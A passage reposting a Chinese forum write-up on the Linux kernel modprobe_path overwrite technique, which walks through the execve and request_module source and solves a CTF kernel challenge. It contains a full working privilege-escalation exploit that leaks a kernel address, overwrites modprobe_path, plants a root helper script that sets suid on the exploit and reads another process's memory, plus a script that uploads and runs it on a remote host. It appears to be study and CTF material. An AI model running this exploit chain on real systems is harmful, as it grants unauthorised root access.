当前位置:首页>Linux>Linux内核modprobe_path覆盖利用技术

Linux内核modprobe_path覆盖利用技术

  • 2026-03-24 13:18:58
Linux内核modprobe_path覆盖利用技术

今年的 ccb&ciscn 初赛有一道 Linux 内核的 Pwn 题,让我这个内核菜鸡被直接“硬控”了,现在初赛都上内核了。

赛后搞到了 WP,于是正好趁着元旦假期有时间好好复现一下,分析了一下这道题的利用技术的原理,于是就有了这篇文章。

简介

modprobe_path覆盖利用技术是一种 Linux 内核漏洞利用方法,它可以让攻击者以 root 权限运行任意 shell 脚本。

modprobe_path覆盖利用技术的关键是覆盖掉modprobe_path内核全局变量,它的默认值为/sbin/modprobe程序的路径,modprobe是一个用于向 Linux 内核添加可加载内核模块,或从内核中移除可加载内核模块的工具。本质上它是一个用户态程序,当我们在 Linux 内核中安装或卸载新模块时会被执行。

我们可以通过运行以下命令检查:

❯ cat /proc/sys/kernel/modprobe/sbin/modprobe

modprobe_path变量中的程序,会在我们执行一个系统无法识别文件类型的非法格式文件(无效魔数)时被调用。简单说一般我们执行 shell 文件时文件签名是#!/bin/bash,这是合法的文件格式,系统可以识别。而我们执行一个文件签名为\xff\xff\xff\xff的文件时内核会进行一系列操作,最终触发并以 root 权限执行modprobe_path变量中的程序。

因此如果我们将modprobe_path变量覆盖修改为想要执行的程序,然后再执行一个非法格式文件就可以以 root 权限执行我们想要执行的目标程序。

但是如果内核开启了CONFIG_STATIC_USERMODEHELPER内核配置选项,那么会将内核执行用户态 helper 的路径从运行时可变的全局变量改为编译期固定的常量,这样我们就无法对modprobe_path进行覆盖修改。

总结一下modprobe_path覆盖利用技术需要满足以下条件:

  • 能够任意地址写,可以覆盖modprobe_path变量;
  • 可以写两个任意文件:
    • 一个具有非法格式的文件,例如\xff\xff\xff\xff
    • 另一个是一个 shell 脚本,用于执行想要以 root 权限完成的操作;
  • 能够执行非法格式文件;
  • 内核没有启用CONFIG_STATIC_USERMODEHELPER选项。

基本上,在大多数的 kernel pwn 题目中,条件 2 和条件 3 都是直接满足的,因此最关键的问题在于是否具备任意地址写的能力以及内核是否开启了CONFIG_STATIC_USERMODEHELPER选项。

询问了一下 GPT 给了一个检查内核是否开启CONFIG_STATIC_USERMODEHELPER选项的方法:

#修改modprobeecho /tmp/test > /proc/sys/kernel/modprobe#检查是否修改成功cat /proc/sys/kernel/modprobe

如果修改成功则CONFIG_STATIC_USERMODEHELPER选项未开启,不成功则开启。

原理分析

接下来我们通过分析 Linux 内核的源代码,详细了解覆盖modprobe_path利用技术的原理。

当我们在 Linux Shell 中执行命令时(例如bash中执行ls),本质上会由 Shell 程序内部调用execve系统调用来加载并执行对应的程序。

execve

execve系统调用会设置可执行文件路径、命令行参数数组以及环境变量数组等信息,然后调用do_execve,它才是真正负责执行程序加载的核心函数。

SYSCALL_DEFINE3(execve,constchar __user *, filename,      	  // 参数1:可执行文件路径constchar __user *const __user *, argv,  // 参数2:命令行参数数组constchar __user *const __user *, envp)  // 参数3:环境变量数组{return do_execve(getname(filename), argv, envp); //getname从用户态读取filename}

do_execve

do_execve函数会对传入的可执行文件路径、参数数组和环境变量数组进行封装与处理,然后将执行流程统一转交给do_execveat_common,由后者完成后续的程序加载与执行逻辑。

staticintdo_execve(struct filename *filename,constchar __user *const __user *__argv,constchar __user *const __user *__envp){struct user_arg_ptr argv = { .ptr.native = __argv };struct user_arg_ptr envp = { .ptr.native = __envp };// AT_FDCWD为当前工作目录return do_execveat_common(AT_FDCWD, filename, argv, envp, 0);}

do_execveat_common

do_execveat_common负责构建并填充linux_binprm,完成命令行参数和环境变量的准备工作。

linux_binprm是 Linux 内核中 描述一个即将被execve执行的可执行文件及其执行上下文的核心数据结构,是execve执行流程中的“载体”,保存了程序加载所需的全部信息。

do_execveat_common最终会调用bprm_execve,进入真正的二进制加载流程。bprm_execveexecve执行路径中最关键的通用入口函数。

static int do_execveat_common(int fd, struct filename *filename,struct user_arg_ptr argv,struct user_arg_ptr envp,                  int flags){struct linux_binprm *bprm; //描述    int retval;if (IS_ERR(filename))return PTR_ERR(filename);if ((current->flags & PF_NPROC_EXCEEDED) &&  //防止进程数超限仍不断 execis_rlimit_overlimit(current_ucounts(), UCOUNT_RLIMIT_NPROC, rlimit(RLIMIT_NPROC))) {        retval = -EAGAIN;        goto out_ret;    }    current->flags &= ~PF_NPROC_EXCEEDED;    bprm = alloc_bprm(fd, filename, flags);if (IS_ERR(bprm)) {        retval = PTR_ERR(bprm);        goto out_ret;    }    retval = count(argv, MAX_ARG_STRINGS);if (retval == 0)pr_warn_once("process '%s' launched '%s' with NULL argv: empty string added\n",                 current->comm, bprm->filename);if (retval < 0)        goto out_free;    bprm->argc = retval;    retval = count(envp, MAX_ARG_STRINGS);if (retval < 0)        goto out_free;    bprm->envc = retval;    retval = bprm_stack_limits(bprm);if (retval < 0)        goto out_free;    retval = copy_string_kernel(bprm->filename, bprm);if (retval < 0)        goto out_free;    bprm->exec = bprm->p;    retval = copy_strings(bprm->envc, envp, bprm);if (retval < 0)        goto out_free;    retval = copy_strings(bprm->argc, argv, bprm);if (retval < 0)        goto out_free;if (bprm->argc == 0) {        retval = copy_string_kernel("", bprm);if (retval < 0)            goto out_free;        bprm->argc = 1;    }    retval = bprm_execve(bprm); //进入真正的执行阶段out_free:free_bprm(bprm);out_ret:putname(filename);return retval;}

bprm_execve

bprm_execve函数会先对被加载程序的信息准备凭证与安全检查,最后调用exec_binprm函数加载可执行文件。

static int bprm_execve(struct linux_binprm *bprm){int retval;    retval = prepare_bprm_creds(bprm);  //准备执行凭据if (retval)return retval;    check_unsafe_exec(bprm);    current->in_execve = 1;  //执行状态标记,表示当前进程正处于 execve 中    sched_mm_cid_before_execve(current); //检查是否允许执行,是否运行提权    sched_exec();    retval = security_bprm_creds_for_exec(bprm);if (retval)goto out;    retval = exec_binprm(bprm);  //进入二进制加载核心if (retval < 0)goto out;    sched_mm_cid_after_execve(current);    current->in_execve = 0;    rseq_execve(current);    user_events_execve(current);    acct_update_integrals(current);    task_numa_free(current, false);return retval;out:if (bprm->point_of_no_return && !fatal_signal_pending(current))        force_fatal_sig(SIGSEGV);    sched_mm_cid_after_execve(current);    current->in_execve = 0;return retval;}

exec_binprm

exec_binprm函数负责在执行过程中选择并执行合适的二进制格式处理器,通过循环解析解释器链,最终完成可执行文件的确定并触发执行成功事件通知。

其中最重要的逻辑就是解析选择合适的二进制格式处理器部分,因此我们接下来需要跟进search_binary_handler函数分析。

static int exec_binprm(struct linux_binprm *bprm){    pid_t old_pid, old_vpid;    int ret, depth;    old_pid = current->pid;  //保存执行前的 PID 信息rcu_read_lock();    old_vpid = task_pid_nr_ns(current, task_active_pid_ns(current->parent));rcu_read_unlock();//解析主循环for (depth = 0;; depth++) {struct file *exec;if (depth > 5)return -ELOOP;        ret = search_binary_handler(bprm);  //根据文件内容选择合适的处理器if (ret < 0)return ret;if (!bprm->interpreter)break;        exec = bprm->file; // 解释器替换,下一轮执行的主角从原文件变成解释器本身        bprm->file = bprm->interpreter;        bprm->interpreter = NULL;allow_write_access(exec);if (unlikely(bprm->have_execfd)) {if (bprm->executable) {fput(exec);return -ENOEXEC;            }            bprm->executable = exec;        } elsefput(exec);    }//执行成功后的系统通知audit_bprm(bprm);trace_sched_process_exec(current, old_pid, bprm);ptrace_event(PTRACE_EVENT_EXEC, old_vpid);proc_exec_connector(current);return 0;}

search_binary_handler

search_binary_handler函数会在formats链表中寻找合适的文件加载器。formats是一个包含所有已注册的可执行格式文件解析器。

static int search_binary_handler(struct linux_binprm *bprm){bool need_retry = IS_ENABLED(CONFIG_MODULES);struct linux_binfmt *fmt;    int retval;    retval = prepare_binprm(bprm);  //读取文件前 128 字节if (retval < 0)return retval;    retval = security_bprm_check(bprm);  //安全检查if (retval)return retval;    retval = -ENOENT; retry:read_lock(&binfmt_lock);// 解析器匹配循环list_for_each_entry(fmt, &formats, lh) {if (!try_module_get(fmt->module))continue;read_unlock(&binfmt_lock);        retval = fmt->load_binary(bprm);  //检查文件魔数,判断文件格式read_lock(&binfmt_lock);put_binfmt(fmt);if (bprm->point_of_no_return || (retval != -ENOEXEC)) {read_unlock(&binfmt_lock);return retval;        }    }read_unlock(&binfmt_lock);//没有找到解析器if (need_retry) {if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&printable(bprm->buf[2]) && printable(bprm->buf[3]))return retval;if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)return retval;        need_retry = false;        goto retry;    }return retval;}

常见的解析器:

  • elf_format: ELF 可执行程序;
  • compat_elf_format:兼容 ELF(与 ELF 基本相同);
  • script_format:#!开头的脚本;
  • misc_format:其他格式,由内核模块注册。

每种解析器包含一个关键字段load_binary,其中包含着对应格式的加载函数。

检查文件魔数,匹配解析器:

retval = fmt->load_binary(bprm);  //检查文件魔数,判断文件格式

例如 ELF 格式:

//检查是否为 ELF 魔数 \x7FELFif (memcmp(elf_ex->e_ident, ELFMAG, SELFMAG) != 0)goto out;

如果成功匹配到解析器,内核将调用该格式对应格式的加载函数完成可执行文件的加载(如 ELF 文件或 shell 文件)。

如果没有匹配到解析器,且文件的前 4 字节不可打印(非 ASCII),内核会进入一个兜底处理流程。在在该流程中,内核会根据可执行文件头部的魔数值,动态请求加载对应的 binfmt 内核模块。具体做法是从文件头的第 3、4 字节读取一个 16 位数值,并将其格式化为模块名binfmt-xxxx,随后调用request_module触发模块加载:

if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)return retval;

request_module

request_module其实是一个宏,真正执行的是__request_module函数:

#definerequest_module(mod...) __request_module(true, mod)

__request_module函数最终会调用call_modprobe函数。

int __request_module(bool wait, const char *fmt, ...){    va_list args;    char module_name[MODULE_NAME_LEN];int ret, dup_ret;    WARN_ON_ONCE(wait && current_is_async());if (!modprobe_path[0])return -ENOENT;    va_start(args, fmt);    ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);    va_end(args);if (ret >= MODULE_NAME_LEN)return -ENAMETOOLONG;    ret = security_kernel_module_request(module_name);if (ret)return ret;    ret = down_timeout(&kmod_concurrent_max, MAX_KMOD_ALL_BUSY_TIMEOUT * HZ);if (ret) {        pr_warn_ratelimited("request_module: modprobe %s cannot be processed, kmod busy with %d threads for more than %d seconds now",                    module_name, MAX_KMOD_CONCURRENT, MAX_KMOD_ALL_BUSY_TIMEOUT);return ret;    }    trace_module_request(module_name, wait, _RET_IP_);if (kmod_dup_request_exists_wait(module_name, wait, &dup_ret)) {        ret = dup_ret;goto out;    }    ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);out:    up(&kmod_concurrent_max);return ret;}EXPORT_SYMBOL(__request_module);

call_modprobe

call_modprobe是内核模块自动加载路径中真正执行用户态程序的函数:

static int call_modprobe(char *orig_module_name, int wait){struct subprocess_info *info;static char *envp[] = {"HOME=/","TERM=linux","PATH=/sbin:/usr/sbin:/bin:/usr/bin",NULL    };char *module_name;int ret;char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);if (!argv)goto out;    module_name = kstrdup(orig_module_name, GFP_KERNEL);if (!module_name)goto free_argv;    argv[0] = modprobe_path;    argv[1] = "-q";    argv[2] = "--";    argv[3] = module_name;    argv[4] = NULL;    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,NULL, free_modprobe_argv, NULL);if (!info)goto free_module_name;    ret = call_usermodehelper_exec(info, wait | UMH_KILLABLE);    kmod_dup_request_announce(orig_module_name, ret);return ret;free_module_name:    kfree(module_name);free_argv:    kfree(argv);out:    kmod_dup_request_announce(orig_module_name, -ENOMEM);return -ENOMEM;}

这部分代码的关键点:通过call_usermodehelper_setup封装好execve需要的所有信息,然后调用call_usermodehelper_exec函数以 root 权限执行modprobe_path的值。

    argv[0] = modprobe_path;    argv[1] = "-q";    argv[2] = "--";    argv[3] = module_name;    argv[4] = NULL;    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,NULL, free_modprobe_argv, NULL);if (!info)goto free_module_name;    ret = call_usermodehelper_exec(info, wait | UMH_KILLABLE);

默认的modprobe_path值是:

char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;

CONFIG_MODPROBE_PATH来自内核配置,默认为/sbin/modprobe

所以如果我们修改了modprobe_path的值,并执行一个非法格式文件后就会执行modprobe_path的值。

利用思路总结
  • 首先通过任意地址写将modprobe_path的值覆盖为你的 shell 脚本;
  • 然后构造一个非法格式的文件(如\xff\xff\xff\xff);
  • 执行它后内核会因为无法识别格式从而调用request_module函数;
  • 然后request_module调用call_modprobe函数执行modprobe_path的值;
  • 这时modprobe_path的值因为被覆盖为你的 shell 脚本,所以会以 root 权限执行它。
漏洞缓解方式

前面已经说过启用CONFIG_STATIC_USERMODEHELPER选项就会导致modprobe_path覆盖利用技术失效,这里结合代码分析一下原因。

call_usermodehelper_setup中,如果CONFIG_STATIC_USERMODEHELPER配置选项启用,那么就会执行以下代码:

#ifdef CONFIG_STATIC_USERMODEHELPER    sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;

此时内核会强制使用静态、编译时写死的路径,而忽略modprobe_path,从而使得modprobe_path覆盖技术失效。

CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/usermode-helper"

例题 ram_snoop

下载题目:https://pan.baidu.com/s/1by2RA-cR4w6TA1SOai2tsA?pwd=cv5d

题目分析

题目提供了三个文件:

  • bzImage:内核镜像
  • rootfs.cpio:文件系统
  • start.sh:启动脚本

首先分析启动脚本:

qemu-system-x86_64 \    -m 128M \    -kernel ./bzImage \    -initrd  ./rootfs.cpio \    -append "root=/dev/ram rdinit=/init console=ttyS0 oops=panic panic=1 quiet rodata=off" \    -cpu qemu64,+smep,+smap \    -smp cores=2,threads=1 \    -nographic

保护机制:

  • +smep:禁止内核执行用户态代码;
  • +smap:禁止内核访问用户态数据;
  • rodata=off:只读数据保护关闭。

只读数据保护关闭会导致.rodata段可写,这样的话即使modprobe_path是常量,也能被覆盖。这样就直接绕过了CONFIG_STATIC_USERMODEHELPER的防护。

然后解压rootfs.cpio分析文件系统:

mkdir rootfscd rootfscpio -idvm < ../rootfs.cpio         

init启动脚本中发现内核加载了babydev.ko内核模块,并在后台运行eatFlag程序。

#!/bin/shmount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /devecho "[*] Welcome to Kernel PWN Environment"echo "[*] Starting shell..."insmod /home/babydev.kochmod 777 /dev/noc /tmpcp /proc/kallsyms /tmp/coresysms.txt/home/eatFlag &exec /bin/sh# exec su -s /bin/sh ctf

ida 逆向分析eatFlag程序发现它会在程序启动时读取/flag的内容并存放在堆内存中,然后删除该文件。所以我们只能从eatflag程序的堆内存中读取到 flag。

flag指针是固定地址,很明显程序是没有开启 PIE 的,所以可以从flag指针读取 flag 的值。

接着 ida 逆向分析babydev.ko模块,查看函数表的函数,其中__pfx_开头的是内核在符号层面生成的前缀符号。

接下来首先分析init_module函数,它是内核模块加载入口。

  • 分析init_module函数

init_module函数初始化了一个名为noc的字符设备,创建了/dev/noc供用户态交互,并分配了一个约 64KB 的全局内核堆缓冲区global_buf

  • 分析dev_ioctl函数

发现内核地址泄露漏洞:

由于dest变量在站的布局之后就是v11变量。所以copy_to_user复制 40 字节的数据到用户态会将v11的值也给复制到用户态。

我们可以通过访问这个ioctl接口获取到泄露的数据。

  • 分析dev_open函数

dev_open在设备首次打开时分配一块内核堆内存,记录当前进程的 PID 和进程名,并将该堆指针保存到file->private_data,同时通过全局标志限制设备只能被单次打开。

  • 分析dev_write函数

函数中的v4变量是当前文件偏移,v6变量是实际写入长度。

v4 + a3 > 0x10000时,驱动试图通过v6 = -*a4截断写入长度,但由于v6为无符号整型,该赋值触发了 signed 到 unsigned 的隐式转换,导致v6变成一个极大的正数。

随后该长度被直接用于copy_from_user,且写入地址由global_buf + data_start + f_pos计算,在缺乏完整边界检查的情况下,最终形成可控偏移、可控长度的内核堆越界写漏洞。

  • 分析dev_read函数

dev_read根据file->f_posglobal_buf的有效数据区向用户态拷贝数据,并在读完后推进文件偏移,逻辑等价于一个简单的内存文件读取实现。

  • 分析dev_seek函数

该函数实现了设备的lseek操作(偏移定位),根据a3参数的值选择模式。如果a3为 1 则新位置为当前文件指针加上a2偏移参数。如果a3为 2 则新位置为文件末尾加上偏移。如果a3参数为 3,则新位置等于偏移。

通过这个函数我们可以控制文件偏移配合dev_write函数进行越界写利用。

  • 分析dev_release函数

在关闭设备文件时原子递减打开计数并释放filp->private_data

  • 分析cleanup_module函数

cleanup_module在模块卸载时释放init_module中申请的内核资源。

利用思路

modprobe_path覆写:

  • 通过ioctl泄露的内核地址
typedef struct {uint32_t proc_id;char proc_name[16];uint32_t mem_free;uint32_t mem_used;uint64_t mem_ptr;leak_data_t;// 打开漏洞设备int dev_fd = open("/dev/noc", O_RDWR); if (dev_fd < 0return 1;// 通过ioctl泄露内核信息leak_data_t leak = {0}; ioctl(dev_fd, 0x83170405, &leak);uint64_t kern_buf = leak.mem_ptr;
  • /proc/kallsyms获取modprobe_path地址
staticuint64_tget_kernel_sym(constchar *name) {    FILE *fp = fopen("/tmp/coresysms.txt""r"); //临时文件if (!fp) fp = fopen("/proc/kallsyms""r");  //内核符号表路径if (!fp) return 0;char row[512], sym_name[256], sym_type;unsignedlonglong sym_addr;while (fgets(row, sizeof(row), fp)) {// 解析符号表格式:地址 类型 符号名if (sscanf(row, "%llx %c %255s", &sym_addr, &sym_type, sym_name) == 3) {if (!strcmp(sym_name, name)) {  // 找到目标符号fclose(fp); return (uint64_t)sym_addr;            }        }    }fclose(fp); return 0;}// 获取内核符号 modprobe_path 地址函数uint64_t target_sym = get_kernel_sym("modprobe_path");
  • 计算modprobe_pathkbase的偏移
// 分配填充数据char *padding = malloc(0x10000); memset(padding, 'A'0x10000);// 写入大量数据填充缓冲区write(dev_fd, padding, 0x10000); lseek(dev_fd, 0, SEEK_SET);  	// 重置文件偏移write(dev_fd, padding, 0x20);  // 再次写入部分数据free(padding);uint64_t offset = target_sym - kern_buf;  // 计算目标符号相对于内核缓冲区的偏移// 拆分偏移:高56位作为基地址,低8位作为相对位置uint64_t base_addr = offset & ~0xffULL;  // 清除低8位uint64_t rel_pos = offset & 0xffULL;     // 只保留低8位uint64_t end_addr = base_addr + 1;      // 结束地址
  • 利用任意地址写漏洞修改设备内部的start/end指针
char *exploit_buf = calloc(10xffff);  // 构建利用缓冲区for (int idx = 0; idx < 7; idx++)   	// 写入基地址    exploit_buf[idx] = (base_addr >> (8 * (idx + 1))) & 0xff;memcpy(exploit_buf + 7, &end_addr, 8);  // 写入结束地址
  • 覆写modprobe_path/tmp/s
lseek(dev_fd, 0x10001, SEEK_SET);  	 // 定位到越界位置write(dev_fd, exploit_buf, 0xffff);  // 写入利用数据free(exploit_buf);char hijack_path[0x40] = {0}; strcpy(hijack_path, "/tmp/s");  // 要写入 modprobe_path 的路径// 定位到 modprobe_path 位置并写入新路径lseek(dev_fd, (off_t)rel_pos, SEEK_SET); write(dev_fd, hijack_path, sizeof(hijack_path));close(dev_fd);
  • 创建恶意脚本/tmp/s,将 exp 设置为 suid-root
staticvoidcreate_helper(constchar *path, constchar *script) {int fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0777);  // 创建可执行文件write(fd, script, strlen(script)); close(fd); chmod(path, 0777);  // 设置执行权限}// 创建脚本/tmp/s,用于给当前程序设置 SUID 权限create_helper("/tmp/s","#!/bin/sh\n","chown root:root /tmp/exp\n","chmod 4755 /tmp/exp\n");
  • 执行非法格式文件触发modprobe机制
// 触发modprobe执行函数staticvoidexec_trigger(void) {// 创建一个包含无效魔数的文件int fd = open("/tmp/dummy", O_CREAT | O_TRUNC | O_WRONLY, 0777);unsignedchar header[4] = {0xff0xff0xff0xff};  // 无效魔数write(fd, header, 4); close(fd); chmod("/tmp/dummy"0777); system("/tmp/dummy");  // 执行触发文件}exec_trigger();
  • 以 root 权限从eatFlag进程内存读取 flag
// 搜索目标进程staticintsearch_target_proc(void) {    DIR *dp = opendir("/proc");  // 打开/proc目录if (!dp) return -1;struct dirent *ent; char link_path[128], real_path[256];while ((ent = readdir(dp))) {char *endp; long proc_id = strtol(ent->d_name, &endp, 10);  // 转换为进程IDif (*endp) continue;  // 如果不是数字目录则跳过// 构建/proc/[pid]/exe符号链接路径snprintf(link_path, sizeof(link_path), "/proc/%ld/exe", proc_id);ssize_t len = readlink(link_path, real_path, sizeof(real_path) - 1);if (len > 0) {             real_path[len] = 0;  // 确保字符串结束// 检查是否是目标进程if (!strcmp(real_path, "/home/eatFlag")) { closedir(dp); return (int)proc_id;  // 返回目标进程ID            }        }    }closedir(dp); return -1;  // 未找到目标进程}// 读取 flag 函数staticvoidget_flag(void) {int proc_id = search_target_proc();  // 查找目标进程if (proc_id < 0return;// 打开目标进程的内存文件char mem_file[64]; snprintf(mem_file, sizeof(mem_file), "/proc/%d/mem", proc_id);int fd = open(mem_file, O_RDONLY); if (fd < 0return;// 读取flag指针,固定偏移0x407148uint64_t secret_ptr = 0pread(fd, &secret_ptr, 80x407148);// 通过指针读取flag数据char secret_data[0x110] = {0}; pread(fd, secret_data, 0x100, (off_t)secret_ptr);printf("[!] FLAG: %s\n", secret_data); //打印 flagclose(fd);}

exp

  • 完整的 exp:
#define _GNU_SOURCE#include <sys/stat.h>#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <fcntl.h>#include <unistd.h>#include <sys/ioctl.h>#include <dirent.h>typedef struct {uint32_t proc_id;char proc_name[16];uint32_t mem_free;uint32_t mem_used;uint64_t mem_ptr;leak_data_t;staticuint64_tget_kernel_sym(constchar *name) {    FILE *fp = fopen("/tmp/coresysms.txt""r");if (!fp) fp = fopen("/proc/kallsyms""r");if (!fp) return 0;char row[512], sym_name[256], sym_type;unsignedlonglong sym_addr;while (fgets(row, sizeof(row), fp)) {if (sscanf(row, "%llx %c %255s", &sym_addr, &sym_type, sym_name) == 3) {if (!strcmp(sym_name, name)) {fclose(fp);return (uint64_t)sym_addr;            }        }    }fclose(fp);return 0;}staticintsearch_target_proc(void) {    DIR *dp = opendir("/proc");if (!dp) return -1;struct dirent *ent;char link_path[128], real_path[256];while ((ent = readdir(dp))) {char *endp;long proc_id = strtol(ent->d_name, &endp, 10);if (*endp) continue;snprintf(link_path, sizeof(link_path), "/proc/%ld/exe", proc_id);ssize_t len = readlink(link_path, real_path, sizeof(real_path) - 1);if (len > 0) {            real_path[len] = 0;if (!strcmp(real_path, "/home/eatFlag")) {closedir(dp);return (int)proc_id;            }        }    }closedir(dp);return -1;}staticvoidget_flag(void) {int proc_id = search_target_proc();if (proc_id < 0return;char mem_file[64];snprintf(mem_file, sizeof(mem_file), "/proc/%d/mem", proc_id);int fd = open(mem_file, O_RDONLY);if (fd < 0return;uint64_t secret_ptr = 0;pread(fd, &secret_ptr, 80x407148);char secret_data[0x110] = {0};pread(fd, secret_data, 0x100, (off_t)secret_ptr);printf("[!] FLAG: %s\n", secret_data);close(fd);}staticvoidcreate_helper(constchar *path, constchar *script) {int fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0777);write(fd, script, strlen(script));close(fd);chmod(path, 0777);}staticvoidexec_trigger(void) {int fd = open("/tmp/dummy", O_CREAT | O_TRUNC | O_WRONLY, 0777);unsignedchar header[4] = {0xff0xff0xff0xff};write(fd, header, 4);close(fd);chmod("/tmp/dummy"0777);system("/tmp/dummy");}intmain(void) {if (geteuid() == 0) {get_flag();return 0;    }uint64_t target_sym = get_kernel_sym("modprobe_path");int dev_fd = open("/dev/noc", O_RDWR);if (dev_fd < 0return 1;leak_data_t leak = {0};ioctl(dev_fd, 0x83170405, &leak);uint64_t kern_buf = leak.mem_ptr;char *padding = malloc(0x10000);memset(padding, 'A'0x10000);write(dev_fd, padding, 0x10000);lseek(dev_fd, 0, SEEK_SET);write(dev_fd, padding, 0x20);free(padding);uint64_t offset = target_sym - kern_buf;uint64_t base_addr = offset & ~0xffULL;uint64_t rel_pos = offset & 0xffULL;uint64_t end_addr = base_addr + 1;char *exploit_buf = calloc(10xffff);for (int idx = 0; idx < 7; idx++)        exploit_buf[idx] = (base_addr >> (8 * (idx + 1))) & 0xff;memcpy(exploit_buf + 7, &end_addr, 8);lseek(dev_fd, 0x10001, SEEK_SET);write(dev_fd, exploit_buf, 0xffff);free(exploit_buf);char hijack_path[0x40] = {0};strcpy(hijack_path, "/tmp/s");lseek(dev_fd, (off_t)rel_pos, SEEK_SET);write(dev_fd, hijack_path, sizeof(hijack_path));close(dev_fd);create_helper("/tmp/s","#!/bin/sh\n""chown root:root /tmp/exp\n""chmod 4755 /tmp/exp\n"    );exec_trigger();execl("/tmp/exp""exp"NULL);return 0;}
  • 编译:
#使用musl-gcc并剥离符号减少程序体积musl-gcc -o exp exp.c -static -Osstrip exp
  • 利用:

exp放入文件系统并重打包。

mv exp ./rootfscd ./rootfsfind . -print0 | cpio --null -ov --format=newc > ../exp.cpio

然后修改启动脚本加载的文件系统为exp.cpio

#!/bin/shqemu-system-x86_64 \    -m 128M \    -kernel ./bzImage \    -initrd  ./exp.cpio \    -monitor /dev/null \    -append "root=/dev/ram rdinit=/init console=ttyS0 oops=panic panic=1 quiet rodata=off " \    -cpu qemu64,+smep,+smap \    -smp cores=2,threads=1 \    -nographic \    -snapshot

执行exp然后成功拿到 flag:

最后附上一个打远程的脚本:

#!/usr/bin/env python3from pwn import *import base64, gzipwith open("./exp"'rb') as f:    binary_data = f.read()compressed = gzip.compress(binary_data)b64_data = base64.b64encode(compressed).decode('ascii')lines = [b64_data[i:i+76for i in range(0len(b64_data), 76)]io = remote("39.106.73.70"30087)io.recvuntil(b'/ $')io.sendline(b'cat > /tmp/exp.gz.b64 << "EOF"')for line in lines:io.sendline(line.encode())io.sendline(b'EOF')io.recvuntil(b'/ $')io.sendline(b'base64 -d /tmp/exp.gz.b64 | gunzip > /tmp/exp')io.recvuntil(b'/ $')io.sendline(b'chmod +x /tmp/exp')io.recvuntil(b'/ $')io.sendline(b'/tmp/exp')output = io.recvall(timeout=20).decode(errors='ignore')print(output)

由于这个补丁https://web.git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fa1bdca98d74472dcdb79cb948b54f63b5886c04 被合并到上游内核,导致覆盖modprobe_path这个利用方法在新版本内核中作废了。

参考

Linux 内核利用技术:覆盖modprobe_path - Midas 的博客

https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/#the-overwriting-modprobe_path-technique

复兴modprobe_path技术:克服search_binary_handler()补丁 - Theori BLOG

https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch

看雪ID:南行

https://bbs.kanxue.com/user-home-996690.htm

*本文为看雪论坛精华文章,由 南行原创,转载请注明来自看雪社区

# 往期推荐

从ANGR-CTF项目入手ANGR和符号执行技术

AI时代-逆向工作者该如何用好这一利器

EXIF解析缓冲区溢出漏洞分析与利用

从C到Pwn:栈溢出漏洞利用实战入门

Android-ARM64的VMP分析和还原

球分享

球点赞

球在看

点击阅读原文查看更多

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-03-27 16:41:30 HTTP/2.0 GET : https://f.mffb.com.cn/a/479603.html
  2. 运行时间 : 0.108654s [ 吞吐率:9.20req/s ] 内存消耗:4,884.94kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=94cf2110dd14d41889827a3fd30a8dd5
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
